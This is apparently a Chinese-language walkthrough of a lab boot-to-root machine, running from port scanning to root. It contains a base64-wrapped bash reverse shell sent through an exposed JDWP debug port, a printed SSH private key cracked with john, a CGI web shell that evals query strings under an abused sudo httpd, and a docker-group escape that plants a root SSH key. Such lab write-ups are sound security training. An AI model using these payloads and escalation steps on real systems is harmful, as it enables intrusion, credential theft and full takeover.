

端口扫描

```
└─(root@kaada)-[/home/kali]
└─# nmap -p- 192.168.56.144
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-28 12:36 +0000
Nmap scan report for 192.168.56.144
Host is up (0.048s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
5005/tcp  open  avt-profile-2
8161/tcp  open  patrol-snmp
61616/tcp open  unknown
MAC Address: 08:00:27:D6:19:04 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 47.37 seconds
```

```
└─(root@kaada)-[/home/kali]
└─# nmap -p22,80,5005,8161,61616 192.168.56.144 -sC -sV -T4 -A -O
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-28 12:37 +0000
Nmap scan report for 192.168.56.144
Host is up (0.0051s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.67 ((Unix))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Clean Blog - Start Bootstrap Theme
|_http-server-header: Apache/2.4.67 (Unix)
5005/tcp  open  jdpw     Java Debug Wire Protocol (Reference Implementation)
version 17.0 17.0.18
|_jdpw-info: ERROR: Script execution failed (use -d to debug)
8161/tcp  open  http     Jetty
|_http-title: Error 401 Unauthorized
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ basic realm=ActiveMQRealM
61616/tcp open  apachemq ActiveMQ OpenWire transport 6.2.2
MAC Address: 08:00:27:D6:19:04 (Oracle VirtualBox virtual NIC)
warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), OpenWrt 22.03 (Linux 5.10) (94%),
Android 9 - 11 (Linux 4.9 - 4.14) (93%), Linux 2.6.32 (93%), Linux 5.10 - 5.19
(93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), openwrt 21.02 (Linux 5.4)
(93%), Linux 2.6.32 - 3.10 (93%), Linux 6.0 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1   5.06 ms  192.168.56.144
```

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 21.40 seconds

端口	服务	版本	备注
22	OpenSSH	10.3	标准 SSH
80	Apache httpd	2.4.67	"Clean Blog" 静态主题,无明显入口
5005	JDWP	JDK 17.0.18	Java Debug Wire Protocol 暴露 — 未授权 RCE
8161	Jetty	ActiveMQRealm (basic-auth)	ActiveMQ Web Console
61616	ActiveMQ	OpenWire 6.2.2	可能受 CVE-2023-46604 影响,但我们走 JDWP 这条更直接

5005 端口的 JDWP 是 **致命错误配置**:

- JDWP 协议本身不带认证。
- 任何能连上的人都可以远程调试 JVM,等同于在 JVM 内任意执行 Java 代码。
- 利用难度极低,有现成脚本。

接下来直接打 JDWP。

Java Debug Wire Protocol (JDWP) 是 Java 平台用于调试器与目标 Java 虚拟机 (JVM) 之间进行通信的底层网络协议。它的核心作用是允许开发者在远程挂起线程、下发断点、检查变量以及动态执行代码，是 Java 远程调试的基础。

安全隐患与利用原理： JDWP 协议在设计时完全基于内网互信，**没有任何身份验证和访问控制机制**。一旦开启了 JDWP 的端口（常见为 5005 或 8000）被错误地暴露在公网或不受信任的网络中，任何人都可以直接伪装成调试器与之连接。

攻击者利用它的方式，本质上是“滥用”了正常的调试功能：通过连接该端口，攻击者可以向 JVM 发送指令，要求其在内存中实例化 `java.lang.Runtime` 或 `java.lang.ProcessBuilder` 等类。由于调试器本身就具备动态执行代码的能力，这就使得攻击者可以直接在目标服务器上实现**远程代码执行 (RCE)**，从而完全控制该服务器。这也是为什么生产环境严禁向外网开放调试端口的原因。

使用脚本[IOActive/jdwp-shellifier](#)

```
└─(kali@kaada)-[/opt]
└─$ python2 /opt/jdwp-shellifier.py --help
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
                        [--cmd COMMAND]

Universal exploitation script for JDWP by @_hugsy_

optional arguments:
  -h, --help            show this help message and exit
```

```

-t IP, --target IP      Remote target IP (default: None)
-p PORT, --port PORT   Remote target port (default: 8000)
--break-on JAVA_METHOD
                        Specify full path to method to break on (default:
                        java.net.ServerSocket.accept)
--cmd COMMAND          Specify command to execute remotely (default: None)

```

构造 reverse shell payload

JDWP 调用的是 `Runtime.exec(String)` ——它会按空格分词, `>&`、`/dev/tcp`、管道这些 **shell 语法直接传进去会被当作参数处理而非 shell 重定向**。所以必须借 `bash -c "..."` 包一层。同时为了避免引号/特殊字符在 `--cmd` 参数中被错误解析,使用 **Brace expansion + base64** 的标准技巧:

```
echo -n 'bash -i >& /dev/tcp/192.168.56.104/4444 0>&1' | base64 -w0
```

最终 payload

```
bash -c {echo,YmFzaCAtaSA+JiAVZGV2L3RjcC8xOTIuMTY4LjU2LjEwNC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
```

```

└─(kali@kaada)-[/opt]
└─$ python2 /opt/jdwp-shellifier.py -t 192.168.56.144 -p 5005 \
    --cmd "bash -c
{echo,YmFzaCAtaSA+JiAVZGV2L3RjcC8xOTIuMTY4LjU2LjEwNC80NDQ0IDA+JjE=}|{base64,-d}|
{bash,-i}"
[+] Targeting '192.168.56.144:5005'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 17.0.18'
[+] Found Runtime class: id=19e1
[+] Found Runtime.getRuntime(): id=7f45c800bee0
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x1af2
[+] Selected payload 'bash -c
{echo,YmFzaCAtaSA+JiAVZGV2L3RjcC8xOTIuMTY4LjU2LjEwNC80NDQ0IDA+JjE=}|{base64,-d}|
{bash,-i}'
[+] Command string object created id:1af3
[+] Runtime.getRuntime() returned context id:0x1af4
[+] found Runtime.exec(): id=7f45c800bf60
[+] Runtime.exec() successful, retId=1af5
[!] Command successfully executed

```

```

└─(root@kaada)-[/home/kali/Desktop]
└─# ./penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 • 192.168.21.128 •
192.168.56.104 • 192.168.10.150 • 172.17.0.1
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🗑 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => 43384aacdb63 192.168.56.144 Linux-x86_64 👤 root(0)
🎉 Session ID <1>
[+] Upgrading shell to PTY...
[!] Python agent cannot be deployed. I need to maintain at least one Raw session
to handle the PTY

```

```
[+] Attempting to spawn a reverse shell on 192.168.56.104:4444
[+] [New Reverse Shell] => 43384aacdb63 192.168.56.144 Linux-x86_64 🧑 root(0)
🍷 Session ID <2>
[+] PTY upgrade successful via /usr/bin/script
[+] Interacting with session [1] • PTY • Menu key F12 ←
[+] Session log: /home/kali/.penelope/sessions/43384aacdb63~192.168.56.144-Linux-x86_64/2026_06_28-12_57_20-833.log
```

```
root@43384aacdb63:/opt/activemq#
```

典型的容器环境

```
root@43384aacdb63:/opt/activemq# hostname
43384aacdb63
root@43384aacdb63:/opt/activemq# uname -a
Linux 43384aacdb63 7.0.9-0-stable #1-Alpine SMP PREEMPT_DYNAMIC 2026-05-17
15:58:42 x86_64 x86_64 x86_64 GNU/Linux
root@43384aacdb63:/opt/activemq# ls -la /.dockerenv
-rwxr-xr-x 1 root root 0 May 31 06:15 /.dockerenv
root@43384aacdb63:/opt/activemq#
```

探索挂载点

```
root@43384aacdb63:/opt/activemq# mount | grep -v "proc\|tmpfs\|cgroup\|mqqueue"
overlay on / type overlay
(rw,relatime,lowerdir=/var/lib/docker/overlay2/l/NYMTD7GPXTX6AYQYGSW7BLQAOU:/var/lib/docker/overlay2/l/QDCDRDXLEXEWQT74YACSI03VON:/var/lib/docker/overlay2/l/ETFOG53JRSROE5DZJRKUAJCL5:/var/lib/docker/overlay2/l/NQCS5CGE4WF4GHCDFTAWJ3MAI5:/var/lib/docker/overlay2/l/6QF4Q6YRDVYRE7ZGGJQZ56ODT5:/var/lib/docker/overlay2/l/GLQTC HNEK3RBNABQTJB5634PDI:/var/lib/docker/overlay2/l/YBTGDTNPT6HBPVOCMIPKGD6X4H:/var/lib/docker/overlay2/l/ZPHP3G52NKA2YMZ2CLEZTMYQGE,upperdir=/var/lib/docker/overlay2/55711066079c393154ceef2e8da52d7605f414b749c9fefe2587ee97cc90386c/diff,workdir=/var/lib/docker/overlay2/55711066079c393154ceef2e8da52d7605f414b749c9fefe2587ee97cc90386c/work)
devpts on /dev/pts type devpts
(rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
/dev/sda3 on /root type ext4 (ro,relatime)
/dev/sda3 on /etc/resolv.conf type ext4 (rw,relatime)
/dev/sda3 on /etc/hostname type ext4 (rw,relatime)
/dev/sda3 on /etc/hosts type ext4 (rw,relatime)
root@43384aacdb63:/opt/activemq#
```

宿主机硬盘的某个 ext4 分区(`/dev/sda3`)被只读挂载到容器内的 `/root` 路径。

```
root@43384aacdb63:~# find .
.
./user.txt
./ssh
./ssh/id_rsa.pub
./ssh/authorized_keys
./ssh/id_rsa
root@43384aacdb63:~# cat ./ssh/authorized_keys
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQGDHtWVHkCLFhmjaYobU7CxcQgJbFdPaEg0yvFHOWlfnzrIekmg2
dx7GwffMQsbglCBMqq3FuYdYIT+NQRlZHEfjvcZ0rQw2M7nv5ZHRKEno+x39cTmuH/b00dhTYWQj00sB
cUMPMCRwsBTSM+0bykGRo8CKx79VzLNTX41Uowah3Ik2/053wwAH2zyfuh2cchaE+39mTyevL7IC/Uiga
TOgCT0RmmPK3pB4smRQ4dk0mmspbQcQEptrVsF5E0jlI8gpbuzOXZ9v4xTSj+nuYxiHTq2iRF3TNPQWS
aB5J1EFHAVAid8w6wva9i8ioYv/jXLpqh0To07nv5tzZmA5fGSWqU+fsrAKBALKhwiS6pyc4D2ly+nBBm
Upo5KLawqev+TuGyz/nJ2EVoTyP+nACUyZgP9dg1Pc35dwoxyHtE1MpiqUyw7avzioj0nxM1ur179YRnt
3i5CMhw7q+wfm65sFi3+0LJsvzDy8Y1nFJq7GuUEX/Qg0cEurfn9Aha3s=
```

```
root@43384aacdb63:~# cat ./ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
```

```
+OieBGckHie9083qI/qj1ImMwBtakiSkEPvz7CJRYQrLeBDU167t+Cb+7i5LtEx6fdeUF
ogx+bFjw+HIFf48A27HQ5uVvwRtwVYlTHSPc3bxhJ/BT85oCJgdMuutI5CzARY3aPJ9AIZ
LLnpHg==
-----END OPENSSH PRIVATE KEY-----
root@43384aacdb63:~#
```

注意 `aes256-ctr` 和 `bcrypt` ——这是带 **passphrase** 加密的私钥,不能直接用,需要后面破解。

```
ssh2john id_rsa > ssh_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt
```

```
melisa          (id_rsa)
```

```
└─(root@kaada)-[/home/kali/Desktop]
└─# ssh-keygen -y -f id_rsa > id_rsa.pub
Enter passphrase for "id_rsa":

└─(root@kaada)-[/home/kali/Desktop]
└─# cat id_rsa.pub
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQGDHtWVHkCLFhmjaYobU7CxcQgJbFdPaEg0yvFHowlfnzrIekmg2
dx7GWffMQsbglCBMqq3FuYdYIT+NQRlZHEfjvcZ0rQw2M7nv5ZhrRKENo+x39CTmuH/b00dhTYWQj00sB
cUmPMCRwsBTSM+0bykGRO8CKx79VzLNTX41Uowah3Ik2/053wwAH2zyfuh2cchaE+39mTyeVL7IC/Uiga
TOGCTORmmPK3pB4smRQ4dK0mmspqbQcQEptrVsF5EOjlI8gpbUzOXZ9v4xTSj+nuYxiHTq2iRF3TNPQWS
aB5JlEFHAvaiD8w6wva9i8ioYv/jXLpqh0To07nv5tzzZmA5fGSWqU+fsrAKBALKhwiS6pyc4D2ly+nBBm
Upo5KLawqev+TuGyz/nJ2EVoTyP+nACUyZgP9dg1Pc35dwoxyHtE1Mpiquyw7avzioj0nxMluRl79YRnt
3i5CMhw7q+Wfm65sFi3+0LJsvzDy8Y1nFJq7GuUEx/Qg0cEurfn9Aha3s= pippinu@Mq
```

得到登录用户pippinu

ssh上去

```
└─(root@kaada)-[~kali/Desktop]
└─# ssh -i id_rsa pippinu@192.168.56.144

_
_ _ _ _ _
\ \ / / _ \ | / _ / _ \ | ' _ \ / _ \
 \ v v / _ / | ( | ( ) | | | | | _ /
  \ / \ / _ \ | _ \ _ \ / | | | | _ \

pippinu@Mq:~$ id
uid=1000(pippinu) gid=1000(pippinu) groups=1000(pippinu)
pippinu@Mq:~$ sudo -l
Matching Defaults entries for pippinu on Mq:
    secure_path=/usr/local/sbin\::/usr/local/bin\::/usr/sbin\::/usr/bin\::/sbin\::/bin

Runas and Command-specific defaults for pippinu:
    Defaults!/usr/sbin/visudo env_keep+= "SUDO_EDITOR EDITOR VISUAL"
```

```
User pippinu may run the following commands on Mq:
(jazz) NOPASSWD: /usr/sbin/httpd
```

Apache `httpd` 的 `-f` 参数允许指定任意配置文件。我们可以:

1. 写一份自己的 `httpd.conf`, 启用 `mod_cgi`, 绑到本地高位端口。
2. 在 CGI 目录放一个执行 `$QUERY_STRING` 里命令的 shell 脚本。
3. 让 `httpd` 以 `jazz` 身份跑起来, 通过 `curl/wget 127.0.0.1` 调用 CGI, 等于以 `jazz` 执行任意命令。

注意: Apache 启动后会子进程切到 `User/Group` 指令指定的用户; 但 `sudo -u jazz httpd` 已经让整个进程从 `jazz` 启动, 所以子进程就是 `jazz`, 我们也不需要再在 `conf` 里写 `User`。

准备恶意配置和 CGI

```
cat > evil_httpd.conf << 'EOF'
ServerRoot /tmp/evilhttp
PidFile /tmp/evilhttp/httpd.pid
ErrorLog /tmp/evilhttp/error.log

LoadModule mpm_prefork_module /usr/lib/apache2/mod_mpm_prefork.so
LoadModule unixd_module /usr/lib/apache2/mod_unixd.so
LoadModule authz_core_module /usr/lib/apache2/mod_authz_core.so
LoadModule alias_module /usr/lib/apache2/mod_alias.so
LoadModule cgi_module /usr/lib/apache2/mod_cgi.so
LoadModule mime_module /usr/lib/apache2/mod_mime.so

Listen 9090
ServerName 127.0.0.1
DocumentRoot /tmp/evilhttp

<Directory />
    Require all granted
</Directory>

ScriptAlias /cgi/ /tmp/evilhttp/cgi/
<Directory "/tmp/evilhttp/cgi">
    Options +ExecCGI
    AddHandler cgi-script .sh
    Require all granted
</Directory>
EOF
```

```
cat > shell.sh << 'EOF'
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
CMD=$(echo "$QUERY_STRING" | sed 's/cmd=//' | sed 's/%20/ /g' | sed 's/+/ /g')
eval "$CMD" 2>&1
EOF
```

```

pippinu@Mq:~$ cd /tmp
pippinu@Mq:/tmp$ mkdir /tmp/evilhttp
pippinu@Mq:/tmp$ mkdir /tmp/evilhttp/cgi
pippinu@Mq:/tmp$
pippinu@Mq:/tmp/evilhttp$ ls
cgi                evil_httpd.conf
pippinu@Mq:/tmp/evilhttp/cgi$ ls
shell.sh

```

启动服务

```

chmod -R 777 /tmp/evilhttp          # 让 jazz 也能写 error.log / pid
chmod +x /tmp/evilhttp/cgi/shell.sh
sudo -u jazz /usr/sbin/httpd -f /tmp/evilhttp/evil_httpd.conf

```

通过 CGI 以 jazz 身份执行命令

```

pippinu@Mq:/tmp/evilhttp/cgi$ wget -q -O - "http://127.0.0.1:9090/cgi/shell.sh?
cmd=id"
uid=1001(jazz) gid=1001(jazz) groups=102(docker),1001(jazz)
pippinu@Mq:/tmp/evilhttp/cgi$

```

是docker组,那直接挂载根目录到容器内部即可

```

pippinu@Mq:/tmp/evilhttp/cgi$ wget -q -O - "http://127.0.0.1:9090/cgi/shell.sh?
cmd=ls+-la+/var/run/docker.sock"
srw-rw----  1 root    docker           0 Jun 28 20:33 /var/run/docker.sock
pippinu@Mq:/tmp/evilhttp/cgi$ wget -q -O - "http://127.0.0.1:9090/cgi/shell.sh?
cmd=docker+images"

```

IMAGE	ID	DISK USAGE	CONTENT SIZE	EXTRA
vulhub/activemq:6.2.2	c147b0796694	327MB	0B	U

```

pippinu@Mq:/tmp/evilhttp/cgi$

```

顺便上传公钥

```

cat > persist.sh <<EOF
#!/bin/sh
docker run --rm -v /:/hostroot --entrypoint sh vulhub/activemq:6.2.2 -c "
  mkdir -p /hostroot/root/.ssh && chmod 700 /hostroot/root/.ssh
  echo 'ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIFaiQLgsnx4YvCaeyvrfA6z9J7jnQB43fm9B0Ep27DKB root@kaada'
>> /hostroot/root/.ssh/authorized_keys
  chmod 600 /hostroot/root/.ssh/authorized_keys
  echo INSTALLED
"
EOF

```



```
pippinu@Mq:/tmp/evilhttp$ wget -q -O - "http://127.0.0.1:9090/cgi/shell.sh?
cmd=/tmp/evilhttp/persist.sh"
INSTALLED
pippinu@Mq:/tmp/evilhttp$
```

```
└─(root@kaada)-[/opt]
└─# ssh root@192.168.56.144
```

```

      ┌───┐
┌───┐ ┌───┐ ┌───┐ ┌───┐ ┌───┐ ┌───┐ ┌───┐ ┌───┐ ┌───┐ ┌───┐
\ \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ /
 \ v v / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ /
  \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ /
```

```
root@Mq:~# id
uid=0(root) gid=0(root)
groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy
),20(dialout),26(tape),27(video),102(docker)
root@Mq:~#
```